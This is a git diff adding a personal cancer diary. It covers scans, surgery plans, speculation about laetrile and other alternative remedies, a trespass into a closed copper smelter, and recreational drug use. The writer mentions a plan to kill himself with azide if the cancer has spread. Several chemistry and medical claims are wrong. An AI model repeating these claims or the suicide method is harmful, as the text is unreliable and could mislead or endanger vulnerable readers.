+Ok, so chewing laetrile as a plausible generalised cytotoxic agent passes +my chemical mechanism sanity check. But. But! It immediately occurs to me +that eating this stuff is just gonna protonate the nitrile group in the +low pH environment of my gut (contains HCl, so, uh, about pH=3, about +10000 times more acidic, that is, more prone to donate protons to anything +nearby, than is water, with pH=7) and give me low-grade cyanide poisoning, +which is probably why the almond plant makes the stuff: eat enough of its +seeds and you'll die and be no further threat to its species. At this pH +disaccharides tend to hydrolyse in the gut anyway, leaving me with +phenylacetonitrile derivatives floating around in my gut too, even if the +nitrile doesn't come off and form cyanide. + +Also - why my other cells wouldn't also try and metabolise the stuff, and +die trying too, eludes me.... maybe they do but can deal with the damage +and tumors lack some of the enzymes which normal cells use to cope with +damage to their electron transport chain. I don't really know. Someone +mentioned something about mitochondrial rhodanese sulfurtransferase +failure in tumor cells so they can't turn the CN into thiocyanide and +excrete it, so they die. I've never heard of rhodanese and it's not in my +copy of Lehninger, nor my old copy of Stryer, but it's known about at +EMBL. + + +"Cancer cells, tax accountancy - the ways we all are failing." + +-TISM "This Morning I Had Work To Do" - from the Best Off compilation + + +Time to start chewin' bitter almonds, then? Oh, fuck it, I should face it, +I've already turned into a pill-poppin' freak. Se, B-vitamins, garlic +(well, that's not a pill but it's not something I'm eating because I like +eating it, it's for allyl compounds), A, E. I can't say `it cant hurt' to +take these things, 'cos cyanogenic glycosides *can* hurt. But then so does +Se, and so does retinoic acid, if you eat enough of them, and they're +normal parts of your metabolism. + +So now I've gotta go back to the people who swear the stuff'll cure me, +and they're gonna ask me if I've investigated their amazing wonder cure, +and I will tell them yes, I have - but not with the same conclusions as +they have. It's plausible but I can't say I'm convinced yet. But whaddo I +know. It's on the internet so it must be true, right? 8-) + +Maybe they'll say, oh, ok, go ahead and ignore our advice, see if we care +if you die. It's only half as insane as shooting up yer metastasis with +dead microbial coats. Which is what I'm investigating day after tomorrow. +But I'm doing a lot of things... I'm altering my biochemistry in a lot of +ways. I am a statistical sample size of one. If I don't die of this stuff +my survival's not going to be attributable to a single thing. + +Whatever laetrile does, it's not gonna provoke a long term immunological +reaction anyway, which is why I'm going for the lipopolysaccharides. Can I +think of a way a population of tumor cells could adapt to low dosages of +cyanide? Yes. One or more of them will somehow exhibit a tolerance (why +*should* a tumor not make rhodanese?) and will then go on to be the +progenitor cells which make future tumors. The same way any tumor deals +with any chemotherapeutic agent, synthetic or not. + + + + +Jan 12 + +I was listening to Regurgitator's Unit album today, on this thumpin' amp I +pulled out of the dumpster last week, and it has a great, great track on +it. Thank fuck there's musicians somewhere with their heads screwed on +properly. + + + All that I am and all I'll ever be + is a brain in a body. + And all that I know and all I'll ever see + is the real things around me. + + All I've heard, and it's true - + there ain't no god, there's just me and you. + I don't see a point to this place. + But I'm happy to be floating in space. + + I won't mind if you're holding my hand + and life seems sublime when you don't understand + that the world turns around and it don't give a damn + if we all die away and we never come back again. + + All that I am and all I'll ever be + is a brain in a body + I live till I die, then rot away + it's a beautiful story. + + All I've heard, and it's true - + there ain't no god, there's just me and you. + I don't see a point to this place. + I'm happy to be floating in outer space. + + I won't mind if you're holding my hand + and life seems sublime when you don't understand + that the world turns around and it don't give a damn + if we all die away and we never come back again. + + + +Jan13 + +Manly Beach, South Steyne. I went out and chatted biochem with Joachim +Fluhrer, who is unusual for a doctor in that he seems to actually know in +some detail the sort of cellular biochemistry which one needs to know +about for tumor processes. It's great to crap on with someone who has a +clue and isn't afraid to articulate it. + +Despite all the stuff I just raved on about above (trust me - this dude +earned every cent of the $200 he got paid to talk onco-biochem with me for +an hour) he's not experientially convinced laetrile's especially useful +either, and he's of the opinion that we should chop Bill out rather than +inject dead bacterial things into it if someone can remove Bill cleanly +(which given the CT scans we probably can). He suggested some doses of +retinoic acid which struck me as outright toxic. Also folate, but that +makes sense. Bunch of immunomodulatory dietary things. I've bored you with +enough of this stuff already. + +---------- + + +Jan 16. + +Not that I want you to think I go feeling myself up all the time but I've +noticed Bill The Neck Lump has shrunk. I'm not kidding myself, it's really +happened. Now, while this is much better than its previous agenda of +expanding to devour my whole head, I'm not getting hopeful about it. For +all I know, next week I'll wake up and there'll be lots of other lumpy +Bill-equivalents elsewhere. I think maybe what it means is that there's +tumor cells there (which means there could be others elsewhere), but now +my major scar is mostly healed up (I notice the scar tissue has started to +grow its own superfical microvasculature now) and my serum levels of +growth hormones such as one secretes when one's flesh is traumatised by +the surgeon's blade have returned to normal, they're not growing under +their own instructions. Good. I hope they all fuck off and die, even if +Bill's a pretty convenient sort of lump... I can feel it and gague the +mood of the tumor, to some extent. For easy-access diagnostic purposes it +sure beats having one in, say, your prostate gland. Or your brain. + +I spent the day debugging my new machine (can't boot off the slave drive, +so I've swapped it; can't boot knoppix but I think that's the weirdo scsi +device jamming the autoconfig, so I swapped that too; can't get red colour +pixels in quake which I think is a bug in the card, not the driver, so I +took out the Alliance Semiconductor item and slapped in a Tseng ET6000; I +couldn't get the other sound card recognised, slapped in my old one and it +worked fine; otherwise it's great) installing another bit of a LAN, moving +some furniture, and being periodically deafened by the bloody panic alarm +to which some of the furniture was attached by screws. + +Feb's coming around quickly. Back to work. I'm sort of looking forward to +it. Graham sent me an email asking if I was up for it and I think I am, +given the way I feel at the moment, which aside from some random gut pain +is actually pretty good. + + +Jan 17th + +Dad dragged home the copy of what my oncologist wrote to my kidney +chopper-outerer on the 23rd of Dec. + +Status: +-Post nephrectomy, high-risk renal cancer. +-?Adjuvant therapy + +It was his opinion that the lump in my neck was probaby due to +lymphadenopathy. Which is rather like saying the lump in my neck was due +to lymph-node lumpiness. Off I go to Goldstein on the 16th, which is the +day after tomorrow. + +Ok. So. Now what? I've got cancer and I've had a few weeks to accommodate +myself properly to this fact. What am I gonna do now? + +Is it better to proceed on the assumption that I will survive this? Maybe +it is, even if I won't. Among the consequences of that decision would be +that I could return to my original mundane life and stop documenting it as +if it mattered to anyone else who would care to read about it. I could get +on and write about stuff like the things I did last night, which wasn't +get laid for a change (monogamy to an absent person really is a drag) - it +was scarier and in some ways, better ... + +0) Ate a cheeseburger at the McDollars at Heathcote, while waiting for the +rest of the Clan to assemble to do the journey down to Port Kembla. This +was possibly the riskiest thing I did all night. I haven't eaten any of +their stuff for oh, seven years. It tastes exactly the same as I remember +it, which means we've probably both degraded equivalently. I sort of don't +give a fuck now. A friend spent ages searching for a power point to charge +his phone, found one in the ceiling tiles, and was then accosted by a +McDroid for charging his fone off it. + +1) motorcycle 100km through extreme fog and light drizzle at 120km/h to +the huge industrial precinct at Port Kembla. I didn't know the way there +so I was following other Clan vehicles and sped to keep up, but it turns +out, you can't miss the Port, yellow-white and blue gouts of flame sear +into the night sky, huge clouds of steam well up from the clanking dark +shapes dotted with the yellow pinpoints of a thousand sodium lamps, +scattered like so many miniature suns. When I arrived and unzipped my +weathersuit I noticed the _stench_of_fear_ wafting out of the pockets of +warm air held against me for the journey. + +2) with about 20 other people, explore the vast, recently mothballed Port +Kembla Copper Smelter. The fence is a shit, as is the barbed wire. After +that... not a guard anywhere (and there's a million places to hide). +Everything's still lit up. Evidently nobody watches the security cameras. +The huuuuge vent stack, at least 80m tall, sez something about the nasty +outlet of the plant process - whatever it is they want to waft it over to +New Zealand. The sulfur-dioxide detectors still work, which is good, since +that's the hellish toxic gas which comes off copper sulfide when you smelt +it down to metallic copper... near Port Pirie in South Australia this +same gas changed the pH of the surrounding soil so much that it killed +every tree for miles adjacent to the copper smelter and not a thing grew +back for 20 years. At 10 parts per million it'll kill you if you breathe +it. They add the gas to water and sell it as corrosive fuming sulfuric +acid (hence, lots of stainless steel pipes to guide it around), but there +wasn't likely to be any here, the plant's been shut for months. We wore +gloves to stop us from touching anything corrosive, but I suspected if we +did touch anything corrosive it'd just momentarily pause to eat the gloves +before getting into the meat below. It's that sort of place. Everything, +and I mean everything, is covered with warning signs. Funniest danger sign +of the night: + +Entry Prohibited Without Permission From The Acid Technician + +Pass the LSD, maaan. + +I didn't know what half of it did, it was like being in one HUGE, vastly +scaled up pair of interoperating enzymes, each designed to do one reaction +at kilotonne scales: + +CuS + O2 -> Cu + SO2 +SO2 + H2O -> H2SO4 + +Huge crucibles, cranes, hoppers, silos, tanks, motors, analysis and sample +control laboratories, radioactive materials handling arms, floor after +floor of steel mesh and I-beams, miles and miles of pipes and conveyors +and cabling and chain... it just goes on as far as the eye can see. Huge +rotating kilns (I could fit my hand crossways in the gap between the drive +gear teeth of these) sit frozen in position with dark slaggy copper +stalactites hanging off their outlets at 45 degrees to gravity. Below it +all is a train engine, and tracks, part of the railway via which +presumably came the ore. I don't know where it gets made into sheet and +wire and pipe but I guess it'd need to be electrolytically purified first, +judging by the stalactites, it looks like shit when it comes out of the +kiln. + +It's untouched by graf artists. It must cost 'em a thousand bucks an hour +just to keep the place lit like this. The whole place looks like you could +just turn it all on again in a day or two. I pissed off when we spotted a +lone forklift driver doing the rounds. Experience has taught me not to +hang around to get busted. + +I rode back slower, and slept very well, to be awoken by the sound of a +chainsaw. I was convinced there was nothing left to cut down in this +suburb but I am evidently not correct, the people two doors down are +taking out the ancient paperbark trees in their back yard. + +I estimate from being 7.5cm long when it was CT scanned, Bill is not more +than an inch (2.5cm) in its longest dimension. Hmmm. Pass the +cheeseburgers. + +18 Jan + + +I wonder at times why the Flautist has offered me something she is +evidently not prepared to give. What good is her provoking a hardon if she +won't use it? Arr, I'm not one to impose, but it's frustrating. She's been +accepted to go to Brissie, and I am happy for her. Rural Tassie is, +according to her report on her time down there, crawling with crazies. +Maybe I shouldn't go there. + +Bill The Lump is smaller again. I have to go to some effort to find the +fuckin' thing now. By the time the interleukin pusher gets to biopsy it +(will somebody, ANYBODY kindly suck some guts out of this adenopathic +lump, please?) it'll probably be in hiding, lurking to pop out again +later. Hmmm. It's 1am, Jan 19th. That's today. They'd better move fast. + + +Next load of screen-searing bilge will be at + +http://conway.cat.org.au/~predator/losing_it.txt + + + + + diff --git a/glebe.zip b/glebe.zip new file mode 100644 index 0000000..c6f5fdb Binary files /dev/null and b/glebe.zip differ diff --git a/gutful.txt b/gutful.txt new file mode 100644 index 0000000..c5a3462 --- /dev/null +++ b/gutful.txt @@ -0,0 +1,603 @@ +File: gutfull.txt +Cont: the new me, and why I want to be rid of him +Date: 21, 22, 23 Nov 2003 + +I owe a lot to the likes of Planck, Fourier, Radon, deMarignac, Roentgen, +Maxwell and a bunch of other people. Their legacy is the truly astounding +ability to see through one's bones and their fleshy wrapping, and peruse +internal workings which you could otherwise not without a big long slash +through the external plating beforehand. Lensless RF imaging technology +cannot answer on your behalf the question of wether or not you're prepared +to see what it can show you, but you can't have everything. + +What on earth would the entrail-reading Romans have made of CT-scans and +NMR? + +Haematology, while it can tell you a lot, can't give you an image. So, two +nights ago, I swilled down an unpalatable beverage of heavy metal sulfate +and yesterday I took all my clothes off, donned a distinctly Roman +disposable gown and was fed head-first into an computerised axial +tomography rig. Which is a huge x-ray machine which takes lots of +exposures from multiple angles, which represent slices of your body; +grunty computers take all those slices and, mainly using linear algebra +with a few layers of other maths on top, build them into human-readable +images of your internals in cross-section, provided these internals admit +enough x-rays to be detectable on the other side of the rotating beam +path (which is why I had to guzzle the astringent white radiopaque slushy +I mentioned earlier). + +The aforementioned slushy stays in your GI tract and makes your intestines +show up on the x-ray exposures, but it doesn't make it to your +circulation, since the compound is deliberately chosen because it doesn't +dissolve in your gut acids, which is good 'cos soluble barium compounds +are hellishly toxic. This insolubility is why they also cannulate you and +punch a load of clear orange liquid into your veins - so these too can be +made visible to the short-wavelength eye of the machine. I did ultimately +find out what the contrast medium was - iopamidol - and looked it up in +the Merck. I'd have to shoot up about four kilos of it before I could be +expected to die of poisoning, and the molecule is specifically constructed +to be rapidly excreted by your kidneys. + +There's trefoiled IONISING RADIATION HAZARD stickers on the door to the +room, and the radiologist gazes in on you through a VERY THICK window. You +lie on a tray, and the tray is fed, under precise machine control, into +the central tunnel of the CT rig, which is a floor-mounted, +room-dominating contraption with all its interesting pieces hidden by +beige plastic cowlings; The first run is to calibrate the machine to your +particular radiological parameters, the actual scans happen on subsequent +runs. The machine makes low, quiet humming sounds, inches you back and +forth at a slow, precise rate, and you can see through the beam aperture +that something large and heavy is rotating, very accurately, around you, +but you'd never know it was throwing hard EM at the atoms of your body. + +The machine powered down, and like a compact disc in a very large player, +I was gently ejected. The radiologist came out and asked me to move my +penis - prone on my belly, it was evidently obstructing their scans. I had +no idea it'd be opaque to that part of the spectrum. It's simultaneously +reassuring and disconcerting to know that they can see so much stuff under +the flimsy blue gown - but who am I to refuse if someone suggests I shift +my dick out of the way of a beam of ionising radiation. So I shoved it +down my leg, then he crammed a few cc's of triiodinated isophthalic acid +up my arm. + +Most people report odd effects when shot up with this stuff. I did. My +arsehole felt very hot for a few seconds, then the back of my throat felt +hot, then I swore I could smell some sort of burnt, bleachy stink. With my +guts rendered sufficiently visible to this anchored, domesticated version +of Superman's eyeballs, the radiologist left the room and the machine +inhaled me again. + +Then the scan started. The machine tells you to breathe in and hold your +breath (bzzz, scans are happening), then breathe out, but it stops +there... maybe programmers could remember to change this to something +which instructs the scanee to breathe normally. This repeats itself a few +times while the machine gets lots of juicy images and you turn anoxic in +the belief that you have to have empty lungs for no apparent reason, and +eventually give up and breathe like you normally would anyway. + +The bloke comes in and says, "We're gonna scan you again, and pay +particular attention to your left kidney." Which it immediately occurs to +me they wouldn't do if everything was normal and boring. Uh-oh. So they +scan that a couple of times. Then he comes in and sends me off down the +corridor to an hilarious old lady in a darkened room, who asks me to lie +down and take my gown off, squirts a load of imaging gel on my gut and +then manually moves an ultrasound probe around on my left flank. + +It felt a bit ticklish, but is way more interrogatory than your average +massage. She did this for a LONG time, and got lots of snaps, but didn't +say anything (and I can't see anything on the screen from where I am). +Then she passed me a towel to wipe the goop off, and told me to go and put +my clothes back on. + +So, clad again in my usual stuff, I returned to the outside world. I got +the report later that day, shortly before they told me to get myself down +to the nuclear magnetic resonance imaging crew in Kogarah. Which I did. I +read the CT scanner's report in their waiting room. Yatta yatta neoplasm, +renal in origin, yatta yatta kidneys still working, blah blah needs more +investigation. I know enough anatomy and med-lingo to understand what +they're talking about. I have cancer. + +I've met the enemy, and it is me. Well, it is _of_ me, anyway. It isn't me +in the sense that it isn't a chunk of cells doing stuff I would like them +to do, and it isn't me in the sense that none of it should be there +according to one's embryological body plan. It is me in that it's +genetically full o' my code, it is me in the sense that my immune system +hasn't identified it as a targetable impostor, hence the normal lymphocyte +count. Hey, maybe I can make money off it, license it and flog it as a +cell line to mol bio companies, once they chop it out? I'm gonna need to, +getting this fucker out is gonna cost me a pile of bux I don't have. +Tumors are immortal, and a sample of this stuff will potentially outlast +me. Enduring fame, in an Eppendorff tube. + +Collectively, the DNA in our cells take millions of nucleotidyl insults +every day, but most of them either occur where they don't matter, or are +repaired, or produce cells which commit programmed suicide (apoptosis) or +die an uncontrolled death from regulatory failure (necrosis), or die after +they reach their Hayflick limit (and hence are telomerase-negative and not +immortal). Of the remnant, we get hundreds of potential tumors a day. +Almost all of them get smashed by NK's, macrophages, and other sections of +your immunology, which spot and kill these things which in the process of +becoming tumors lost the molecular passwords which allow them to be +considered part of the whole. Depending on your genes, what diseases you +get, what chems you are exposed to, eventually, a few of these make it to +the immortal league of extraordinary cells. + +So, it's a numbers game. Once a few of these things get their act +together, they can grow, but they remain _diffusion limited_ and get no +bigger until one or more of them decide to turn on their angiogenesis +signalling. Then the adjacent arteries and veins start to supply it with +access to the community nutrient lode pumped around your body. This it has +evidently done. It's a big fucker, longest dimensions are 10 x 14 x 18cm, +it's threaded through with vascular supply, some of which probably used to +feed the nephrons in my renal cortex. + +Because it's big, and well supplied with blood (it appears, thusly, that +I've been dining for at least two in recent months) it will enlarge, +exponentially, and push other things out of the way (which is why my +spleen felt enlarged - it was forced upwards from below). Because this +growth process entails more and more cells, each with its own chance to +forget to make adherin proteins and thence bud off and become another +tumor, the bigger it is, the more dangerous it becomes, for reasons +unrelated to mere metabolic load. Renal neoplasms have a noted tendancy to +metastatise. + +I guess if you're gonna have cancer, this is one of the better places to +have it. No limbs off. They don't have to chop any bones up to get at it, +it isn't anywhere near your personality executes, and one is luckily +bestowed with redundant kidneys so if you have to piss one off, you can do +so without staring down a life of dialysis. At this stage, though, I don't +know if it's a lone primary or a descendant of some creepy oncological +mothership lurking somewhere else. + +NMR imaging works on a different principle to X-rays. If you think of +X-rays in the same way as you might think of a very strong, penetrating +searchlight, you're well on the way to understanding them. But NMR is +totally, utterly different and exploits tricky quantum mechanical aspects +of one's own molecular stuffing, to provide images of astounding +resolution - down to microns in the really recent machines. + +NMR and CT-machines look pretty much the same to the people fed into them. +They sound very different. CT is almost silent. NMR, which uses huge, +liquid-helium supercooled, superconducting magnets and which bashes them +with powerful changing magnetic fields applied by large coils (producing +magnetostriction - same phenomenon which makes power transformers in the +street produce their characteristic hum), is very fucking loud, so one is +fitted with nonmetallic earmuffs to protect one's hearing. These double as +headphones to enable the NMR operator to tell you when to stop breathing +and breathe again. The headphones have no wires, since the fields +generated by the machine would induce huge currents in such wires and melt +'em; sound comes in through tubing, with characteristic pipe distortion. +One has to have no metal implants, jewellery, anything, when one goes +in, wearing another of those hospital gowns which if not done up correctly +tends to expose one's arse to all and sundry. Funny how I care about that +when my internal organs, which have never seen the light of day, are +about to be displayed by proxy to the world at large. + +How it works is roughly like so. You lie down, and a pair of coils +(presumably graphite or some other non-metal, but I really don't know) is +placed, one below and one above the area one wants to look at. These are +the aerials which detect the changes in alignment of your protons (and +carbon-13 nuclei, too, but only barely) when the imposed magnetic field +changes. They feed you into the machine and energise the electromagnet +(which is an idiotically strong, supercooled rare-earth jobbie, something +on the order of 20 Tesla, which would rip any ferromagnetic materials out +of you and embed them in the machine as soon as they energised the +magnet). Your protons become aligned with the (static) magnetic field - in +effect turning you into a weak magnet. Then another coil is energised +which rotates the magnetically aligned protons towards it, and when this +second coil is de-energised, the protons want to re-acquire their +orientation towards the big magnetic field which was turned on the first +time, and when they do they emit RF... you can figure out where they are, +if there is a gradient in the static field, which is of course carefully +arranged. The machine records what the coils detect - which is an RF +signal from your hydrogen atoms, saying what their chemical environment +is, which relates to what kind of molecules they're in, and what sort of +tissues contain them. Heavy math crunching (of the Fourier transform of +the free induction decay spectrum of the alignment of your protons after +they turn the second coil off, for each slice) gets your image. + +As the machine electromagnetically sectioned my carcass, stridently +wrestling the raw forces of the universe, I could feel strips of faint +warmth moving up my body ... my protons were dissipating as heat the +energy stashed in them by the imposed magnetic fields (this must be how a +tape head feels when it is demagnetised). It made a lot of loud humming +tones, some very discordant. The equipment produces astoundingly high +resolution images - I'd always wanted to be imaged (is gratuitous MRI the +ultimate in self-obsession?) - and I have had that wish granted, though I +hoped it might be under better circumstances. Ah, well, in 2012 we run out +of helium; no supercoolant, no more MRI scans. Better to do it now. + +I did lots of breathing in and breathing out while the machine +interrogated my proton distribution. A while later someone named Lynette +told me she was gonna shoot me up with a contrast dye. This isn't an +iodine-based material, I knew, so I asked her what it was. She said, +gadolinium-somethingorother, and I reckon, probably gadopentenic acid +(geez, the Merck's a handy tome) which is a paramagnetic relaxation +agent... makes things containing it really stand out on MRI. They can't +use a glass needle (they break) or a metal one, so they cannulated me with +a plastic item, they shot me up with Gado', did more scans, and let me get +up and get my clothes back on. + +I snuck a look in the room with the pictures in it, with my guts in +cross-section on the screens, and fuck me, it looks detailed and messy. +There's a lot more plumbing than is meant to be there, connected to a big +... thing ... where most of the kidney was. Amazingly the remnants of the +left kidney still works. They said they'd need a while to come to +a conclusion on this one and they'd send the pics and assessment off +tomorrow. + +I came home and departed with some gadolinic, slightly iodinated, dense +barytic turds, and thought about the situation a bit. I don't know enough +to really take a position yet. The dog is a reassuring island of blithe +normality, tail wagging as tumor boy dismounts from his 'cycle and takes +off his helmet. + +I told mum what the report said. "You know what a neoplasm is, don't you?" +I asked. "It's a tumor. A big one." She got all teary. Later she mentioned +she wondered if this was a secondary to something else, like a lung tumor +she might have, over the years, supplied to me via my proximity to her +tobacco habit. I told her we don't know yet, and speculation is pointless. +I had to admit I kind of enjoyed watching her squirm for a teensy bit, +amazed that she thought, maybe there were real consequences from her +unapologetic, callous, fuck-you stubborn inconsideration of what people +around her like to breathe. I ran a quick thought process, along the lines +of, diag with lung tumor secondary to tobacco smoke exposure, strangle mum +on the spot, go to court, and claim self-defense against proven poisoner. +But that'd be silly. Aside from needlessly enriching bastard lawyers, +there would be more satisfaction in letting her live out the rest of her +life in awareness that she'd carcinogenated me. I wonder, if in running +these sorts of thoughts, I am subtly telling myself to get my head scanned +too. + +Dad's sort of odd. He reckons I should cut my goatee off 'cos it'll +interfere with the administration of anaesthesia. He _very much_ gives a +shit how I am going to present myself as a patient in the hospital where +he works. Sends me up the road to purchase some acceptably boring clothes. +And fucked if I'm gonna. The cash goes on Eigen: Rules of the Game; +Lehninger: Bioenergetics; Tainter: Collapse of complex civilisations, +second hand. They should get here in a couple of weeks. + +Today (Friday) I get a call, to go and have yet another CT-scan. This time +they want to look at my chest. I go there, and there's a crowd of people +in the waiting room, but they ask me to come in right away, which is +abnormal - the immutable laws of queueing are only broken for the insane, +the very important, or those suspected of dying, and I don't think I'm +either of the first two. The CT-machine at this place, which is made by +weapons manufacturer General Electric, probably sells commercially for +several million bucks, is newer and faster than the one in Hurstville +(and has obviously been got at by the school of design which says +everything needs to look streamlined and aerodynamic), has higher +resolution, is more capable of ionising my dick, and all that. + +The injected contrast agent feels just as weird as it did yesterday. Why +does someone want to look in my chest if they've found something in my +abdomen? Obviously 'cos lungs is where these things usually start. If it +has, then the neoplastic freakshow in my belly is a secondary, and I'd say +it's a good bet asbestos, or passive smoking, or something of that nature +has finally come to collect its dues somewhere in the lobes of my +respiratory system. + +I walked out of the nuclear medicine / CT-imaging place and walked down +the footpath to the place where yesterday my protons learned to dance, in +the expectation they'd have my scans and they could pass them over to me +so I could 1) deliver 'em to dad, who referred me there and 2) I could get +the straight dope from the enclosed report and look at the scans myself. +If there's anything that shits me it is the _not_knowing_. But there's +some dude at the desk, I think he's a radiologist, and he says I'm meant +to be getting my chest scanned. Uh, yeah mate, I just did that, are the +NMR scans available so I can take 'em over to Hurstville? He says the NMR +scans are here, and he and another one of the diagnostic radiologists and +some kidney-choppin' surgical dude (who dad has watched operating and +approves), are gonna look at all of them together, including the chest one +I just had, on Monday and come to a conclusion about what to do, so they'd +like to keep it all together in one place. + +Um, right. + +I wander off to the carpark and ride back to Blakehurst. + +The pact of silence shits me. I've had more scans than your average +barcode, and _know_ they know what I want to know, and aren't showing me. +I think, am I condemned to cark it sometime in the next few months or +what? Hmmmm. + +I decided I'd go round to Turella, bitch about the idiots two levels +upstream of cat.org.au chopping off our web and email feeds, get pissed. +Ooooh, Chatelle Napoleon brandy alternating with Peters Wicked Honey and +Cashew Icecream is very fucking good. I crash in the cot of one of the +locals, and we chat for a while. I let the oncological cat out of the bag. +After a while, she's in the loop to the same extent I am. She invites me +for a shag. Maybe it wasn't the best time for a shag. It's sad to be being +shagged by someone and have them suddenly burst out crying all over you. I +ask why she's upset and she says it's not so much that I have cancer, it's +that I said I wouldn't bother to fight it if it's already an entrenched +aggressive, metastatic one. I guess it would seem like I was rejecting +everyone, by not making an effort to hang around, by choosing to let +myself be removed from their life. + +It is in the absence of knowledge that superstition and fear fester. In +the absence of awareness about what is going on inside, the decisional +logic becomes simple. If it's localised, chop it out, cool. If it is +metastatic and distributed everywhere, well, I think - it might be time to +prep an azide milkshake, ride down to a part of the National Park that I +like, dig a hole, climb in, and irreversibly lock my metabolism. Fucked if +I want to be stuck in a cot somewhere, emotional football for a load of +people crying around me as I die, all of whom think they have something +very important to say to me, and who think we're gonna meet up again +later. I want calm, indifferent nature around me. + +The timescale of my life looks like it might be dramatically +compressed. Now, most people have reasons to stay. Spouses, rugrats, +careers, infrastructure they expect to use for their lifespans, or God +says they have to stay, or something. + +But I look on my life so far, and wonder, is there anything which really +recommends me? Am I worth, in the purely economic rationalist view of the +world, the effort of saving? + +Dad seems to think so, I suspect he's been pulling various strings to +get all these scans arranged with such suspicious efficiency. Why does he +want to save me? We get on pretty well but I am secretly convinced I have +been, on the whole, a nuisance to him. + +What do I do that makes me worthwhile? To whom do I matter? Why should +anyone miss me on a planet stuffed with millions almost alike? Thousands +of people exist, just like me, with this same sort of predicament, and +quite possibly I will be saved by blind luck alone, they will die and I +will never hear about it. + +If I am full o' metastatic malignancy, I'd only go through with the +nauseating bullshit associated with chemotherapeutically fighting such an +illness, not 'cos I feel I really have to do anything special before I +cark it or need to live for some additional thing I have to complete, but +since I feel there's something altogether wrong about my dear old man +having to put me in the ground rather than the other way around. I can't +think of any real justification to prolong my existance. I've lived long +enough to get grey hair, be fucked senseless, blow shit up, play god with +the genomes of living things, learn most of the things I wanted to know, +free myself of religion, despair of the future of my species, travel much +of the world. Some people I want to say bye to are out of the country. I +skipped a few drugs, though, and it's too late to whip up a batch of mesc, +or score a few tabs of LSD. Oh well, tough shit. I should check out the +Powerhouse Museum, the Bletchley Park exhibit, a few other little things. +Go skydiving. Get my naked arse flashed by a speed camera at 100kmh above +the limit. The four remaining books I want to read are already in the +post. Ar, bugger, I haven't finished renovating the kitchen either. Oh +well, tough shit, too. I've done all the good stuff, I reckon. + + +It is great a) having a molecular biological clue what I am up against and +b) being an atheist. Having no god to beseech or delude myself that I can +plead with, I can get straight to the point. Most people go through the +disbelief, bargaining, anger, depression, acceptance cycle, but I seem to +go to acceptance first, depression second, then back to acceptance. +Knowledge is power. Self knowledge brings power over oneself. + +Wills are odd, I never thought I should write one. What stuff do I have +that other people would possibly want? Like I'd give a rat's what happens +to it if I am dead. What kind of person lives a life that leaves not +only nothing to squabble over, but no descendants to squabble over it? +Hmmm. I'll just be a job creation scheme for the Public Trustee, I 'spose. +Funny, when I think I'm gonna die, odd things pop out, like that I +have to discretely dispose of my stash of hardcore porn, so as not to +offend the sensibilities of the people who find it when they go through +the stuff I used to own. Various clandestine possessions also need +stashing in the ground or to be moved on to someone else. + + +I like black humour. TISM have a lot of songs mentioning cancer, and I +still think they're funny now I have some of my own. + +"There's cancer in the south of France + Cancer lurks in Rome. + Cancer circles the while globe, + until it finds you home." + +and + +"Cancer? I dream of cancer! Cancer can eat my BONES! +Oh, lucky I would consider myself to be racked by cancerous moans - +a fate more evil, a life more lost, the devil for me foresaw! +Imagine the day I awoke to find the Milats had moved next door." + + + + + +It's saturday morning. Rain's pissing down on the steel roof. I like the +sound. White noise, stochastic arrival of discrete, glistening carriers, +loud enough to drown out the straining engines of the local revheads who +emerge to do burnouts on the wet roads. I am climbed upon by the form +previously feigning sleep next to me, and have one of those strangely +distracted fucks, where everything is sort of done on autopilot and I'm +thinking about something else. I wonder, ferinstance, what _it_ does while +I'm having this shag, how does it move, what does it know about the +blissful fire spreadding through my pelvis when I come. I dunno. I had +this odd idea that there's something defiant about the reproductive act +when performed by a condemned individual, but then, that's crap, I thought +to myself. We're all condemned. Some of us just have the luxury (or curse, +you pick) of knowing when and how. There's nothing remotely defiant about +fulfilling the main purpose for which your organism exists any more than +one is defiant of death while breathing. At least there were no tears this +time. + +I haven't told many people what I know: three cat people (so they know why +I'm off-net for a while). They all think it's a bit grim. One said she'd +miss me if I died. Some people don't believe it. I was massaged by a young +lass a few weeks ago and she too noticed the malevolent lump. I SMS'd her +the info and I recieved in reply from her dual-case SMS phone: "DONT FUCK +WITH ME PRED". I sent back "IM NOT" but only because I don't have +lowercase on my wankerfone. + +I eat breakky, and am glad my hangover is only a little one. I am tempted +to fanatically read up about renal tumors, but I think it'd only depress +me. + +Eventually I ride to Newtown, eat a ham and cheese melt and swill some of +the faintly burnt coffee they flog at the Old Fish Shop on King st. They +usually give me something other than what I ask for, but that's OK since I +get the mistaken order for free. The rain has turned the usual footpath +parade into a serried trickle of umbrellas and bipedal bedragglement. +There's people dressed up the way they are because, to my neverending +amazement, they apparently give a shit who wins the footy. I pop around to +Ned the Anarchist's place but he's out, driving to Wollongong, probably +testing the suspension with his new squeeze. So I pop back to Turella. + +I fuck around there for a while, pulling files out of the server via the +age old method of floppy disk 'cos someone's changed the IP numbers again, +grrrr. I'd send mail but our provider's provider has, incredibly, turned +the mail system off, the idiotic bastards. I get a pile of parts to take +back to the shed, there's a GX150 motherboard which I consider well worth +the effort of salvaging and retrofitting into the ATX tall-form chassis I +found on the roadside last week. + +I'm about to leave for Blakehurst, taking advantage of a break in the +rain. Ah, ya know you're appreciated when the person who shagged you in +the morning blew a large part of an ounce of good bud on manufacturing +some punchy cannabis cookies. Serious weapons in the fight against pain +and depression. And, a nibble tells me, rather tasty too. Newly appointed +a trafficker of commercial quantities of natural analgesics, I start up +and ride through the drizzle. Hmmm. I hope I can keep mum away from them. + +I get back to the Old's place a while later. They're watching the footy on +TV, the volume is up REALLY loud, earthworms in the back garden are +doubtless clued right up about the fucking wallabies. For fuck's sake, +even my wankerfone has stopped telling me where I am and now, instead of a +suburb, displays + +GO WALLAB +IES + +by default. Puke. I wonder if brain process saturation by televised sport +is a treatable pathology. The game hasn't started, they're half an hour +into the hour of pre-match advertising bait which is now customarily +played before the actual footy. I turn the volume down (normally this +creates uproar if I do it) and have a chat to dad. He does most of the +talking. + +"We've looked at the MRI, the CT scans, and we're gonna have a chat to +Peter Aslan on monday. On wednesday, you'll be on his list." + +Which is dad-speak for, you'll be in hospital and they're gonna chop it +out. I wonder which anonymous renal patient was bumped off Peter's list to +accommodate me. + +"Ok, so they're gonna fling the kidney, right. What I want to know is, +how far has it spread?" + +"Looks like it hasn't. One lymph node in the hilus is enlarged, there's no +other involvement, the spleen's normal, the liver's normal, your lungs +are normal." + +This should be reassuring, and is, but not completely. Maybe it's +metastatising and just hasn't cooked up anything detectable yet. But I +couldn't have hoped for a better prognostic. Tobacco, meso, and Sydney air +haven't got me yet. 